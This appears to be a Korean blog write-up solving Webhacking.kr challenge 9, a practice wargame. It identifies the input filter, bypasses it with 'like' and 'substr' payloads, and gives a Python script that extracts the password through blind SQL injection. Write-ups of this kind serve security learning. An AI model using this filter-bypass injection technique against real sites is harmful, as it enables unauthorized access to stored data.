반응형
안녕하세요
웹 해킹 9번 문제 풀이하겠습니다.
문제를 해결하기 위해서 1, 2, 3을 클릭해보았습니다.
3번을 클릭하게 되면 column에 id, no가 있고 문제를 해결하기 위해서 no 3's id is password은 no=3에 id가 password라는 것을 알 수 있습니다. URI 파라미터 값이 no값이 변하면서 페이지가 변하는 것으로 보아 SQL 인젝션을 통해 문제를 해결할 수 있을 것이라고 생각됩니다.
URI 파라미터에 공백 값을 넣고 시도해보면 "Access Denied"가 나오는 것으로 보아 문자열을 필터링한다는 것을 알 수 있습니다.
필터링되는 값: =, %20, or, and
필터링되지 않는 값: like, substr
id길이를 알아내기 위해 URI 파라미터에 if(length(id)like('길이'),3,0)를 추가하여 문자열의 길이를 알아보겠습니다.
길이: 2(거짓)
길이: 11(참)
문자열의 길이가 11인 것을 알았으니 blind sql injection을 통해 각 자리의 문자를 찾아내면 됩니다.
문자열의 길이와 각 자리의 문자를 구하는 Python코드는 하기와 같습니다.
import urllib.request
import requests
url = "https://webhacking.kr/challenge/web-09/"
headers ={'Cookie':'PHPSESSID=abh9og7amaid3k2p49r8mtsv4u'}
pw =""
for i in range(0,100):
query = "?no=if(length(id)like({}),3,0)".format(i)
r = requests.get(url+query, headers=headers)
if r.text.find("Secret") != -1:
pw_length =i
break
print("pw_length:", pw_length)
for i in range(1,pw_length+1):
for j in range(97,133):
k=hex(j).split("0x")[1]
query = "?no=if(substr(id,{},1)like(0x{}),3,0)".format(i,k)
r = requests.get(url+query, headers=headers)
if r.text.find("Secret") != -1:
pw +=chr(j)
print (str(i) + ": " +chr(j))
break
print("password:",pw)
결과로 나온 password를 입력하게 되면 문제를 해결할 수 있습니다.
감사합니다.
반응형
'Hacking > Webhacking.kr' 카테고리의 다른 글
Webhacking.kr 11번 문제풀이 (0) | 2020.11.08 |
---|---|
Webhacking.kr 10번 문제풀이 (0) | 2020.11.08 |
Webhacking.kr 8번 문제풀이 (0) | 2020.11.03 |
Webhacking.kr 7번 문제풀이 (0) | 2020.07.25 |
Webhacking.kr 6번 문제풀이 (0) | 2020.06.13 |